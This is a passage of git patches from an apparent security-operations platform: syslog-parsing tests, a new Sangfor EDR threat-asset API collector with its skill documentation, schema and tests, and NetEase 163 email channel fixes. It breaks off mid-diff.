"log_type": "secevent", + "client_ip": "10.60.61.233", + "data": { + "ip": "1.1.1.1", + "threat_level": 3, + "tag": ["Petya", "勒索病毒"], + }, + } + + +def test_parse_se_alarm_without_pri() -> None: + raw = ( + "2022-01-26T10:11:18.468356+08:00 2022-01-26 10:12:15" + '|!alarm|!10.222.124.250|!{"alert_id":2141000061,"reliability":3}' + ) + + parsed = parse_syslog(raw, "se") + + assert parsed["facility"] == 1 + assert parsed["severity"] == 6 + assert parsed["timestamp"] == "2022-01-26T10:11:18.468356+08:00" + assert parsed["hostname"] == "10.222.124.250" + assert parsed["app_name"] == "alarm" + assert parsed["data"] == {"alert_id": 2141000061, "reliability": 3} + + +def test_auto_detects_se_format_without_pri() -> None: + parsed = parse_syslog( + '2021-07-08 10:18:00|!secevent|!10.60.61.233|!{"eventKey":"117830036"}' + ) + + assert parsed["format"] == "se" + assert parsed["data"] == {"eventKey": "117830036"} + + +def test_parse_se_preserves_invalid_json_message() -> None: + parsed = parse_syslog( + "2022-01-26 10:12:15|!alarm|!10.222.124.250|!{invalid-json}", + "se", + ) + + assert parsed["format"] == "se" + assert parsed["message"] == "{invalid-json}" + assert parsed["data"] is None + + +def test_existing_rfc3164_parsing_is_unchanged() -> None: + parsed = parse_syslog("<34>Oct 11 22:14:15 host-a sshd: login accepted") + + assert parsed["format"] == "rfc3164" + assert parsed["facility"] == 4 + assert parsed["severity"] == 2 + assert parsed["hostname"] == "host-a" + assert parsed["app_name"] == "sshd" + assert parsed["message"] == "login accepted" diff --git a/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.test.tsx b/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.test.tsx index 4bbb8dd7f..a84f66bb9 100644 --- a/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.test.tsx +++ b/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.test.tsx @@ -353,6 +353,7 @@ describe('IntegrationTab trigger workspace', () => { expect(within(triggerCard).queryByText('Inputs（JSON）')).not.toBeInTheDocument(); await user.click(within(triggerCard).getByRole('button', { name: '配置' })); expect(within(triggerCard).getByText('Inputs（JSON）')).toBeInTheDocument(); + expect(within(triggerCard).getByRole('option', { name: 'se' })).toBeInTheDocument(); expect(within(triggerCard).getByText('Flocks辅助配置')).toBeInTheDocument(); await user.click(within(triggerCard).getByRole('button', { name: '辅助配置' })); expect(onGuidePrompt).toHaveBeenCalledWith( diff --git a/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.tsx b/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.tsx index 86b681a55..31a50cb46 100644 --- a/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.tsx +++ b/webui/src/pages/WorkflowDetail/tabs/IntegrationTab.tsx @@ -611,6 +611,7 @@ function SyslogTriggerFields({ +
From d870fcf8c9050793aee51d683da4de422f0f0031 Mon Sep 17 00:00:00 2001 From: luguili Date: Thu, 6 Aug 2026 20:03:37 +0800 Subject: [PATCH 21/67] feat: collect EDR threat asset analysis APIs --- .../plugins/skills/sangfor-edr-use/SKILL.md | 32 +- .../device/sangfor_edr_webcli/_provider.yaml | 6 +- .../sangfor_edr_webcli/sangfor_edr.handler.py | 14 + .../sangfor_edr_threat_assets.yaml | 73 ++++ .../sangfor_edr_threat_assets_api.py | 363 ++++++++++++++++++ tests/tool/test_sangfor_edr_handler.py | 59 +++ 6 files changed, 543 insertions(+), 4 deletions(-) create mode 100644 .flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets.yaml create mode 100644 .flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets_api.py diff --git a/.flocks/plugins/skills/sangfor-edr-use/SKILL.md b/.flocks/plugins/skills/sangfor-edr-use/SKILL.md index 616a5b9ec..c33bf3105 100644 --- a/.flocks/plugins/skills/sangfor-edr-use/SKILL.md +++ b/.flocks/plugins/skills/sangfor-edr-use/SKILL.md @@ -1,6 +1,6 @@ --- name: sangfor-edr-use -description: 深信服 EDR 登录态管理与首页仪表盘 API 采集。用户提到深信服 EDR、EDR 或 sangfor EDR 时必须先加载本 skill。 +description: 深信服 EDR 登录态管理、首页仪表盘和威胁资产分析 API 采集。用户提到深信服 EDR、EDR 或 sangfor EDR 时必须先加载本 skill。 --- # 深信服 EDR Use @@ -11,6 +11,8 @@ description: 深信服 EDR 登录态管理与首页仪表盘 API 采集。用户 `auth-state.json` Cookie 及 Secret Manager token bundle； `sangfor_edr_dashboard_api.py` 负责仪表盘 API 请求，只读取 HTTP 登录模块 验证过的同一套 Cookie/token，不从其他状态源拼接凭据。 +`sangfor_edr_threat_assets_api.py` 负责威胁资产分析 API 请求，同样只读取 +HTTP 登录模块验证过的同一套 Cookie/token。 - 管理同一次登录产生的 Cookie 与 `login_token`。 - 默认使用 HTTP 登录，开始前必须向用户索取并保存 EDR 地址、用户名和密码。 @@ -18,6 +20,7 @@ description: 深信服 EDR 登录态管理与首页仪表盘 API 采集。用户 - HTTP 登录连续 3 次失败后，按“browser/CDP 自动化登录（仍需账密）→保留页面供用户手动登录（不需账密）”顺序降级。 - 每次登录或数据采集前探测现有认证，认证有效则跳过登录，失效则重新登录并更新存储。 - 通过 API 采集首页终端概况、受影响终端、漏洞、勒索防护、实时病毒、Top 5 终端和设备资源使用率。 +- 通过 API 采集威胁资产分析的风险汇总、资产分组和威胁终端事件列表，支持风险级别、资产分组、终端状态、隔离状态和分页筛选。 ## 输入与输出 @@ -43,6 +46,19 @@ description: 深信服 EDR 登录态管理与首页仪表盘 API 采集。用户 输出包含 `data`、`errors`、`sections`、`days` 和本次认证是复用还是重登；不得输出 Cookie、密码或 `login_token`。 +### 威胁资产分析工具 + +调用 `sangfor_edr_threat_assets`，可输入： + +- `sections`：`risk_summary`、`zones`、`agent_events`，省略时采集全部数据。 +- `days`：威胁终端事件时间范围，允许 1–90 天。 +- `info`：用户在搜索框输入的终端名称、IP 地址或资产使用人关键词，原样放入 `list_agent_event.filter.info`。 +- `risk_level`、`host_type`、`zone_name`、`agent_state`、`isolate_agent`：威胁资产筛选条件；用户使用中文条件时由 Skill 转换为接口枚举值。 +- `page`、`limit`、`paginate`：事件列表分页配置；`limit` 仅允许 10、20、50、100、500，默认自动采集至 `total_items`。 +- `base_url`、`auth_state_path`：可选运行时覆盖。 + +输出包含风险汇总、资产分组、事件列表、分页信息和接口错误；不得输出 Cookie、密码或 `login_token`。 + ## 关键配置 - `base_url`：从用户提供的 EDR 地址提取 scheme、host 和 port；不得使用固定示例地址。 @@ -60,6 +76,17 @@ description: 深信服 EDR 登录态管理与首页仪表盘 API 采集。用户 3. 默认重新登录流程：访问登录页，获取 RSA 公钥和验证码，提交 `dlogin`，调用 `launch_login.php`，再 GET `/ui`；HTTP 登录连续 3 次失败后进入 browser/CDP 自动化登录，自动化登录仍需账密，自动化登录失败后保留页面供用户手动登录。 4. 登录成功后将 Cookie 写入 `auth-state.json`，将 `login_token` 写入 Secret Manager，并更新配对指纹。 5. 仪表盘 API 只能使用通过上述探测的同一套 Cookie/token；禁止从不同 state 或 Secret 拼接。 +6. 威胁资产分析 API 使用以下接口： + - `POST /launch.php?s={login_token}&opr=list_risk_agent_total_count`：风险级别和隔离终端汇总。 + - `POST /launch.php?s={login_token}&opr=list_zones`：资产分组列表，payload 使用 `data.local=true`。 + - `POST /launch.php?s={login_token}&opr=list_agent_event`：威胁终端事件列表，payload 使用 `filter.info`（终端名称/IP/资产使用人关键词）、其他筛选条件、`day_sum`、`page` 和 `limit`；分页采集直到返回的 `total_items` 收集完成。 + - 三个接口均使用当前登录会话的 Cookie、动态 `query_id` 和同一 `login_token`。 +7. 威胁资产筛选枚举映射： + - `risk_level`：空值=全部，`0`=低风险，`1`=中风险，`2`=高风险。 + - `host_type`：`0`=PC 终端，`1`=服务器终端；用户说“PC/服务器”时转换为对应数字，不能把中文直接放入 payload。 + - `agent_state`：`-1`=全部终端状态，`0`=在线，`1`=离线，`2`=已禁用，`3`=未授权，`4`=已卸载，`6`=已降级。 + - `limit`：只能使用 `10/20/50/100/500`。 + - `zone_name`：先调用 `list_zones`，按返回的 `zone_name` 或 `full_zone_name` 精确匹配，再将对应的设备专属 `zone_id` 放入 `list_agent_event.filter.zone_id`；不能使用固定 zone ID，也不能把中文分组名直接作为 `zone_id`。 ## 错误处理 @@ -68,6 +95,7 @@ description: 深信服 EDR 登录态管理与首页仪表盘 API 采集。用户 - browser/CDP 自动化登录失败或用户明确选择打开页面后手动登录：保留浏览器供用户完成登录，不再索取账密，再调用 `complete_manual_login`。 - 认证探测失败：禁止继续业务 API；先执行 HTTP 重登并再次探测，连续 3 次 HTTP 仍失败则按 browser/CDP 自动化登录→手动登录降级。 - 仪表盘部分接口失败：保留成功数据，在 `errors` 中按采集项返回失败原因。 +- 威胁资产分析部分接口或分页请求失败：保留已采集的风险汇总、资产分组和事件数据，在 `errors` 中标明失败项。 - Cookie、密码和 `login_token` 不得回显、记录日志或混入业务输出。 ## 执行约束 @@ -79,3 +107,5 @@ description: 深信服 EDR 登录态管理与首页仪表盘 API 采集。用户 - 默认认证和仪表盘采集开始时不得启动 browser daemon；只有用户明确选择 `browser_login`、执行 `validate_auth_state`/`complete_manual_login`，或 HTTP 登录连续 3 次失败进入降级流程时，才允许使用 browser/CDP。 - HTTP 登录连续 3 次失败后必须按 browser/CDP 自动化登录→手动登录顺序降级；自动化登录阶段仍需账密，手动登录阶段不得要求账密。 - 任何 API 采集前必须完成认证探测；认证探测失败时不得继续调用业务接口。 +- 威胁资产分析的分页请求必须复用同一套 Cookie/token，不得在分页过程中重新拼接或替换认证参数。 +- 用户未提供接口参数名时，必须根据中文语义完成上述映射；无法确认的筛选条件不得猜测数值，应省略筛选或向用户确认。 diff --git a/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml b/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml index f750abcfc..17768a4d8 100644 --- a/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml +++ b/.flocks/plugins/tools/device/sangfor_edr_webcli/_provider.yaml @@ -5,10 +5,10 @@ version: "1.0.0" integration_type: device description: > Sangfor EDR integration with default HTTP login, explicitly selected - browser/CDP login, cookie/token validation, and dashboard API collection. + browser/CDP login, cookie/token validation, dashboard and threat-asset API collection. description_cn: > 深信服 EDR 集成。默认通过 HTTP 登录，仅用户明确选择时使用 browser/CDP； - 每次操作验证成套 Cookie/token，并通过 API 采集首页仪表盘。 + 每次操作验证成套 Cookie/token，并通过 API 采集首页仪表盘和威胁资产分析。 credential_fields: - key: base_url label: Base URL @@ -113,7 +113,7 @@ defaults: verify_ssl: false notes: | All login methods save cookies to auth-state.json and login_token to Secret - Manager. Pairing metadata prevents dashboard APIs from mixing credentials + Manager. Pairing metadata prevents dashboard and threat-asset APIs from mixing credentials produced by different logins. Device URLs are normalized to scheme, host, and port before use. diff --git a/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py index 7abff1e6e..8efa867e3 100644 --- a/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py +++ b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr.handler.py @@ -27,6 +27,7 @@ sys.path.insert(0, _PLUGIN_DIR) import sangfor_edr_dashboard_api as _dashboard_api_module # noqa: E402 import sangfor_edr_http_login as _http_login_module # noqa: E402 +import sangfor_edr_threat_assets_api as _threat_assets_api_module # noqa: E402 SERVICE_ID = "sangfor_edr_v1_0_0" LEGACY_SERVICE_ID = "sangfor_edr" @@ -1419,3 +1420,16 @@ async def handle_dashboard(ctx: ToolContext) -> ToolResult: ) except Exception as exc: return ToolResult(success=False, error=str(exc)) + + +async def handle_threat_assets(ctx: ToolContext) -> ToolResult: + params = dict(ctx.params) + try: + result = _threat_assets_api_module.run_threat_assets(params) + return ToolResult( + success=bool(result.get("success")), + output=result, + error=None if result.get("success") else "threat_assets_api_partial_failure", + ) + except Exception as exc: + return ToolResult(success=False, error=str(exc)) diff --git a/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets.yaml b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets.yaml new file mode 100644 index 000000000..839afaa7b --- /dev/null +++ b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets.yaml @@ -0,0 +1,73 @@ +name: sangfor_edr_threat_assets +description: > + Collect Sangfor EDR threat-asset analysis data through authenticated HTTP APIs. + The collector uses the verified cookie/login_token pair from the HTTP login + module and supports risk summary, asset groups, and threat-agent event lists. +description_cn: > + 通过深信服 EDR HTTP API 采集威胁资产分析数据，包括风险汇总、资产分组和威胁终端事件列表。 + 采集前复用或刷新 HTTP 登录模块生成的成套 Cookie/token，不混用认证信息。 +category: custom +enabled: true +requires_confirmation: false +provider: sangfor_edr +inputSchema: + type: object + properties: + sections: + type: array + items: + type: string + enum: [risk_summary, zones, agent_events] + description: Optional sections. Omit to collect all threat-asset sections. + days: + type: integer + minimum: 1 + maximum: 90 + default: 7 + description: Time range in days for threat-agent events. + info: + type: string + description: Search keyword for terminal name, IP address, or asset owner. + risk_level: + description: > + Risk level filter. Chinese values low/低风险, medium/中风险, high/高风险 + map to 0/1/2; empty means all levels. + host_type: + description: > + Host type filter. PC终端 maps to 0 and 服务器终端 maps to 1; empty means all. + zone_name: + type: string + description: Asset-zone name. It is resolved to the device-specific zone_id through list_zones. + zone_id: + type: string + description: Optional device-specific asset-zone ID; zone_name is preferred for user-facing requests. + agent_state: + description: > + Agent state: -1 all, 0 online, 1 offline, 2 disabled, 3 unauthorized, + 4 uninstalled, 6 downgraded. Chinese labels are accepted. + isolate_agent: + type: boolean + default: false + description: Collect isolated agents only when true. + page: + type: integer + minimum: 1 + default: 1 + limit: + type: integer + enum: [10, 20, 50, 100, 500] + default: 50 + paginate: + type: boolean + default: true + description: Continue list_agent_event requests until total_items is collected. + base_url: + type: string + description: Optional EDR device URL. + auth_state_path: + type: string + description: Optional auth-state path. +handler: + type: script + script_file: sangfor_edr.handler.py + function: handle_threat_assets diff --git a/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets_api.py b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets_api.py new file mode 100644 index 000000000..748ba81a9 --- /dev/null +++ b/.flocks/plugins/tools/device/sangfor_edr_webcli/sangfor_edr_threat_assets_api.py @@ -0,0 +1,363 @@ +"""Sangfor EDR threat-asset analysis API collection.""" + +from __future__ import annotations + +from typing import Any, Optional + +import sangfor_edr_http_login as auth + + +DEFAULT_SECTIONS = ("risk_summary", "zones", "agent_events") +RISK_LEVEL_MAP = { + "低": 0, + "低风险": 0, + "low": 0, + "中": 1, + "中风险": 1, + "medium": 1, + "高": 2, + "高风险": 2, + "high": 2, +} +HOST_TYPE_MAP = { + "pc": 0, + "pc终端": 0, + "电脑": 0, + "电脑终端": 0, + "服务器": 1, + "服务器终端": 1, + "server": 1, +} +AGENT_STATE_MAP = { + "全部": -1, + "全部终端": -1, + "全部终端状态": -1, + "all": -1, + "在线": 0, + "online": 0, + "离线": 1, + "offline": 1, + "已禁用": 2, + "disabled": 2, + "未授权": 3, + "unauthorized": 3, + "已卸载": 4, + "uninstalled": 4, + "已降级": 6, + "downgraded": 6, +} +ALLOWED_LIMITS = (10, 20, 50, 100, 500) + + +def _filter_value(value: Any, default: Any = "") -> Any: + if value is None: + return default + if isinstance(value, str): + return value.strip() + return value + + +def _normalise_enum(value: Any, mapping: dict[str, int], field: str, default: Any) -> Any: + if value is None or (isinstance(value, str) and not value.strip()): + return default + if isinstance(value, bool): + raise ValueError(f"{field} must be one of: {', '.join(str(v) for v in sorted(set(mapping.values())))}") + if isinstance(value, int) or (isinstance(value, str) and value.strip().lstrip("-").isdigit()): + candidate = int(value) + if candidate in mapping.values(): + return candidate + key = str(value).strip().lower() + if key in mapping: + return mapping[key] + raise ValueError(f"Unsupported {field} value: {value!r}") + + +def _normalise_limit(value: Any) -> int: + try: + limit = int(value) + except (TypeError, ValueError) as exc: + raise ValueError(f"limit must be one of {ALLOWED_LIMITS}") from exc + if limit not in ALLOWED_LIMITS: + raise ValueError(f"limit must be one of {ALLOWED_LIMITS}") + return limit + + +def _threat_requests( + cfg: auth.RuntimeConfig, + token: str, + *, + days: int, + info: Any = "", + risk_level: Any = "", + host_type: Any = "", + zone_id: Any = "", + agent_state: Any = -1, + isolate_agent: bool = False, + page: int = 1, + limit: int = 50, +) -> dict[str, tuple[str, dict[str, Any]]]: + date_range = auth._unix_date_range(days) + return { + "risk_summary": ( + f"/launch.php?s={token}&opr=list_risk_agent_total_count", + { + "app_args": {"name": "app.web.event_center.pending_event", "options": {}}, + "opr": "list_risk_agent_total_count", + "query_id": auth._query_id(), + }, + ), + "zones": ( + f"/launch.php?s={token}&opr=list_zones", + { + "app_args": {"name": "app.web.host_mgr.host_mgr_new", "option": {}}, + "opr": "list_zones", + "data": {"local": True}, + "query_id": auth._query_id(), + }, + ), + "agent_events": ( + f"/launch.php?s={token}&opr=list_agent_event", + { + "app_args": {"name": "app.web.event_center.pending_event", "option": {}}, + "filter": { + "info": _filter_value(info), + "host_type": _filter_value(host_type), + "zone_id": _filter_value(zone_id), + "risk_level": _filter_value(risk_level), + "agent_state": _filter_value(agent_state, -1), + "page": page, + "limit": limit, + **({"isolate_agent": True} if isolate_agent else {}), + }, + "day_sum": date_range, + "opr": "list_agent_event", + "query_id": auth._query_id(), + }, + ), + } + + +def _post_json(session: Any, cfg: auth.RuntimeConfig, token: str, path: str, payload: dict[str, Any]) -> Any: + response = session.post( + auth._url(cfg, path), + headers=auth._http_headers(cfg), + json=payload, + timeout=cfg.timeout, + ) + response.raise_for_status() + result = response.json() + if isinstance(result, dict) and result.get("success") is False: + raise RuntimeError(str(result.get("msg") or "EDR threat-asset API rejected the request.")) + return result + + +def _zone_entries(result: Any) -> list[dict[str, Any]]: + def flatten(value: Any) -> list[dict[str, Any]]: + if not isinstance(value, dict): + return [] + entries: list[dict[str, Any]] = [] + if value.get("zone_id"): + entries.append(value) + for key in ("zones", "children"): + nested = value.get(key) + if isinstance(nested, list): + for item in nested: + entries.extend(flatten(item)) + return entries + + data = result.get("data") if isinstance(result, dict) else None + entries: list[dict[str, Any]] = [] + if isinstance(data, list): + for item in data: + entries.extend(flatten(item)) + elif isinstance(data, dict): + entries.extend(flatten(data)) + return entries + + +def _resolve_zone_id(raw_zone: Any, zones_result: Any) -> str: + if raw_zone is None or not str(raw_zone).strip(): + return "" + value = str(raw_zone).strip() + entries = _zone_entries(zones_result) + exact_id = [zone for zone in entries if str(zone.get("zone_id") or "") == value] + if exact_id: + return value + matches = [ + zone + for zone in entries + if value in {str(zone.get("zone_name") or "").strip(), str(zone.get("full_zone_name") or "").strip()} + ] + if len(matches) == 1: + return str(matches[0].get("zone_id") or "") + if len(matches) > 1: + raise ValueError(f"Asset zone name is ambiguous: {value!r}") + raise ValueError(f"Asset zone was not found: {value!r}") + + +def _collect_agent_events( + session: Any, + cfg: auth.RuntimeConfig, + token: str, + *, + days: int, + info: Any, + risk_level: Any, + host_type: Any, + zone_id: Any, + agent_state: Any, + isolate_agent: bool, + page: int, + limit: int, + paginate: bool, +) -> dict[str, Any]: + first: Optional[dict[str, Any]] = None + items: list[Any] = [] + current_page = max(1, page) + max_pages = 100 + while True: + request = _threat_requests( + cfg, + token, + days=days, + info=info, + risk_level=risk_level, + host_type=host_type, + zone_id=zone_id, + agent_state=agent_state, + isolate_agent=isolate_agent, + page=current_page, + limit=limit, + )["agent_events"] + result = _post_json(session, cfg, token, *request) + if not isinstance(result, dict): + return {"response": result, "pages": current_page} + data = result.get("data") + if not isinstance(data, dict): + return result + if first is None: + first = dict(data) + page_items = data.get("list") if isinstance(data.get("list"), list) else [] + items.extend(page_items) + total = int(data.get("total_items") or 0) + if not paginate or not page_items or len(items) >= total or len(page_items) < limit or current_page >= max_pages: + first["list"] = items + first["pages"] = current_page + return {**result, "data": first} + current_page += 1 + + +def collect_threat_assets( + cfg: auth.RuntimeConfig, + *, + sections: list[str], + days: int, + info: Any = "", + risk_level: Any = "", + host_type: Any = "", + zone_id: Any = "", + agent_state: Any = -1, + isolate_agent: bool = False, + page: int = 1, + limit: int = 50, + paginate: bool = True, +) -> dict[str, Any]: + risk_level = _normalise_enum(risk_level, RISK_LEVEL_MAP, "risk_level", "") + host_type = _normalise_enum(host_type, HOST_TYPE_MAP, "host_type", "") + agent_state = _normalise_enum(agent_state, AGENT_STATE_MAP, "agent_state", -1) + limit = _normalise_limit(limit) + auth_result = auth.ensure_http_auth_pair(cfg) + if not auth_result.get("success"): + raise RuntimeError( + "EDR authentication refresh failed: " + f"{auth_result.get('error') or auth_result.get('reason') or auth_result.get('status')}" + ) + state, token = auth.load_verified_auth_pair(cfg) + session = auth.dashboard_session(cfg, state) + selected = sections or list(DEFAULT_SECTIONS) + unknown = sorted(set(selected) - set(DEFAULT_SECTIONS)) + if unknown: + raise ValueError(f"Unsupported EDR threat-asset sections: {', '.join(unknown)}") + + zones_result = None + resolved_zone_id = "" if not zone_id else None + if zone_id: + zone_path, zone_payload = _threat_requests(cfg, token, days=days)["zones"] + zones_result = _post_json(session, cfg, token, zone_path, zone_payload) + resolved_zone_id = _resolve_zone_id(zone_id, zones_result) + + data: dict[str, Any] = {} + errors: dict[str, str] = {} + for section in selected: + try: + if section == "agent_events": + data[section] = _collect_agent_events( + session, + cfg, + token, + days=days, + info=info, + risk_level=risk_level, + host_type=host_type, + zone_id=resolved_zone_id, + agent_state=agent_state, + isolate_agent=isolate_agent, + page=page, + limit=limit, + paginate=paginate, + ) + else: + path, payload = _threat_requests(cfg, token, days=days)[section] + data[section] = zones_result if section == "zones" and zones_result is not None else _post_json(session, cfg, token, path, payload) + except Exception as exc: + errors[section] = auth._safe_error(exc, token) + return { + "success": not errors, + "status": "threat_assets_collected" if not errors else "threat_assets_partially_collected", + "base_url": cfg.base_url, + "days": days, + "sections": selected, + "filters": { + "risk_level": risk_level, + "info": info, + "host_type": host_type, + "zone_id": resolved_zone_id, + "agent_state": agent_state, + "isolate_agent": isolate_agent, + "page": page, + "limit": limit, + "paginate": paginate, + }, + "data": data, + "errors": errors, + "auth_pair_verified": True, + "authentication": { + "status": auth_result.get("status"), + "login_skipped": bool(auth_result.get("login_skipped")), + }, + } + + +def run_threat_assets(params: dict[str, Any]) -> dict[str, Any]: + cfg = auth.resolve_runtime_config({**params, "persist_credentials": False}) + raw_sections = params.get("sections") + if isinstance(raw_sections, str): + sections = [item.strip() for item in raw_sections.split(",") if item.strip()] + elif isinstance(raw_sections, list): + sections = [str(item).strip() for item in raw_sections if str(item).strip()] + else: + sections = [] + return collect_threat_assets( + cfg, + sections=sections, + days=max(1, min(90, auth._coerce_int(params.get("days"), 7))), + info=params.get("info", ""), + risk_level=params.get("risk_level", ""), + host_type=params.get("host_type", ""), + zone_id=params.get("zone_name") or params.get("zone_id", ""), + agent_state=params.get("agent_state", -1), + isolate_agent=auth._coerce_bool(params.get("isolate_agent"), default=False), + page=max(1, auth._coerce_int(params.get("page"), 1)), + limit=_normalise_limit(params.get("limit", 50)), + paginate=auth._coerce_bool(params.get("paginate"), default=True), + ) diff --git a/tests/tool/test_sangfor_edr_handler.py b/tests/tool/test_sangfor_edr_handler.py index dd18988ab..d5a4f7d2f 100644 --- a/tests/tool/test_sangfor_edr_handler.py +++ b/tests/tool/test_sangfor_edr_handler.py @@ -285,6 +285,65 @@ def test_dashboard_request_definitions_use_dynamic_base_inputs(tmp_path): assert vulner_payload["token"] == "token-value" +def test_threat_asset_request_definitions_match_capture(tmp_path): + handler = _load_handler() + threat_assets = handler._threat_assets_api_module + cfg = _cfg(handler, tmp_path / "auth-state.json") + + definitions = threat_assets._threat_requests( + cfg, + "token-value", + days=7, + info="李伟", + risk_level=2, + zone_id="zone-1", + isolate_agent=True, + page=2, + limit=10, + ) + + summary_path, summary_payload = definitions["risk_summary"] + assert summary_path.endswith("opr=list_risk_agent_total_count") + assert summary_payload["app_args"]["name"] == "app.web.event_center.pending_event" + zones_path, zones_payload = definitions["zones"] + assert zones_path.endswith("opr=list_zones") + assert zones_payload["data"] == {"local": True} + events_path, events_payload = definitions["agent_events"] + assert events_path.endswith("opr=list_agent_event") + assert events_payload["filter"] == { + "info": "李伟", + "host_type": "", + "zone_id": "zone-1", + "risk_level": 2, + "agent_state": -1, + "page": 2, + "limit": 10, + "isolate_agent": True, + } + assert "day_sum" in events_payload + + +def test_threat_asset_zone_resolution_includes_nested_children(tmp_path): + handler = _load_handler() + threat_assets = handler._threat_assets_api_module + zones = { + "success": True, + "data": [ + {"device": ""}, + { + "zones": [ + { + "zone_id": "parent", + "zone_name": "Parent", + "children": [{"zone_id": "child", "zone_name": "Child"}], + } + ] + }, + ], + } + assert threat_assets._resolve_zone_id("Child", zones) == "child" + + def test_auth_probe_requires_http_200_and_agent_overview_data(tmp_path, monkeypatch): handler = _load_handler() cfg = _cfg(handler, tmp_path / "auth-state.json") From a44c63626f503d50fc2c672690d9c6d778f08616 Mon Sep 17 00:00:00 2001 From: John Yin <10972267+john-yin2333@user.noreply.gitee.com> Date: Fri, 7 Aug 2026 11:00:00 +0800 Subject: [PATCH 22/67] fix: support 163 email channel setup --- flocks/channel/builtin/email/channel.py | 81 ++++++++++-- tests/channel/test_email.py | 121 +++++++++++++++++ webui/src/locales/en-US/channel.json | 3 +- webui/src/locales/zh-CN/channel.json | 3 +- webui/src/pages/Channel/index.tsx | 169 ++++++++++++++++++++++-- 5 files changed, 351 insertions(+), 26 deletions(-) diff --git a/flocks/channel/builtin/email/channel.py b/flocks/channel/builtin/email/channel.py index 2b242cd50..8f88aa55a 100644 --- a/flocks/channel/builtin/email/channel.py +++ b/flocks/channel/builtin/email/channel.py @@ -14,6 +14,7 @@ from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.utils import formatdate +from flocks import __version__ from flocks.channel.media_filename import sanitize_filename from pathlib import Path from typing import Any, Awaitable, Callable, Optional @@ -44,6 +45,13 @@ log = Log.create(service="channel.email") SMTP_CONNECT_TIMEOUT = 30 +NETEASE_SMTP_HOSTS = {"smtp.163.com", "smtp.126.com"} +IMAP_CLIENT_ID = ( + '("name" "Flocks" ' + f'"version" "{__version__}" ' + '"vendor" "AgentFlocks" ' + '"support-url" "https://github.com/AgentFlocks/flocks")' +) class EmailChannel(ChannelPlugin): @@ -99,6 +107,11 @@ def validate_config(self, config: dict) -> Optional[str]: return "IMAP security must be one of: ssl, starttls, insecure" if cfg["smtpSecurity"] not in {"ssl", "starttls", "insecure"}: return "SMTP security must be one of: ssl, starttls, insecure" + if ( + cfg["smtpHost"].lower() in NETEASE_SMTP_HOSTS + and (cfg["smtpPort"] != 465 or cfg["smtpSecurity"] != "ssl") + ): + return "NetEase 163/126 SMTP requires smtpPort=465 and smtpSecurity=ssl" if cfg["imapSecurity"] == "insecure" and not cfg["allowInsecureConnections"]: return "IMAP insecure mode requires allowInsecureConnections=true" if cfg["smtpSecurity"] == "insecure" and not cfg["allowInsecureConnections"]: @@ -256,22 +269,32 @@ def _test_connections(self) -> None: cfg = self._resolved imap = self._connect_imap() try: - imap.login(cfg["address"], cfg["password"]) - imap.select("INBOX") - if cfg["skipExistingOnStart"]: - status, data = imap.uid("search", None, "ALL") - if status == "OK" and data and data[0]: - self._seen_uids.update(data[0].split()) - self._trim_seen_uids() + try: + imap.login(cfg["address"], cfg["password"]) + self._identify_imap_client(imap) + self._select_inbox(imap) + if cfg["skipExistingOnStart"]: + status, data = imap.uid("search", None, "ALL") + if status == "OK" and data and data[0]: + self._seen_uids.update(data[0].split()) + self._trim_seen_uids() + except Exception as exc: + raise RuntimeError(f"IMAP connection test failed: {exc}") from exc finally: try: imap.logout() except Exception: pass - smtp = self._connect_smtp() try: - smtp.login(cfg["address"], cfg["password"]) + smtp = self._connect_smtp() + except Exception as exc: + raise RuntimeError(f"SMTP connection test failed: {exc}") from exc + try: + try: + smtp.login(cfg["address"], cfg["password"]) + except Exception as exc: + raise RuntimeError(f"SMTP connection test failed: {exc}") from exc finally: try: smtp.quit() @@ -284,7 +307,8 @@ def _fetch_new_messages(self) -> list[tuple[bytes, InboundMessage]]: imap = self._connect_imap() try: imap.login(cfg["address"], cfg["password"]) - imap.select("INBOX") + self._identify_imap_client(imap) + self._select_inbox(imap) status, data = imap.uid("search", None, "UNSEEN") if status != "OK" or not data or not data[0]: return parsed_messages @@ -326,6 +350,43 @@ def _fetch_new_messages(self) -> list[tuple[bytes, InboundMessage]]: pass return parsed_messages + def _identify_imap_client(self, imap: imaplib.IMAP4) -> None: + """Send IMAP ID for providers that gate mailbox access on client identity.""" + try: + status, data = imap.xatom("ID", IMAP_CLIENT_ID) + except Exception as exc: + log.debug("email.imap.id_failed", {"error": str(exc)}) + return + if status != "OK": + log.debug( + "email.imap.id_rejected", + {"status": status, "response": self._format_imap_response(data)}, + ) + + def _select_inbox(self, imap: imaplib.IMAP4) -> None: + status, data = imap.select("INBOX") + if status == "OK": + return + response = self._format_imap_response(data) + raise RuntimeError(f"IMAP SELECT INBOX failed ({status}): {response}") + + @staticmethod + def _format_imap_response(data: Any) -> str: + if isinstance(data, (list, tuple)): + parts = data + else: + parts = (data,) + + rendered: list[str] = [] + for part in parts: + if part is None: + continue + if isinstance(part, bytes): + rendered.append(part.decode("utf-8", errors="replace")) + else: + rendered.append(str(part)) + return "; ".join(rendered) if rendered else "(empty response)" + def _parse_and_authorize( self, message: email_lib.message.Message, diff --git a/tests/channel/test_email.py b/tests/channel/test_email.py index c3f853a68..018fbe864 100644 --- 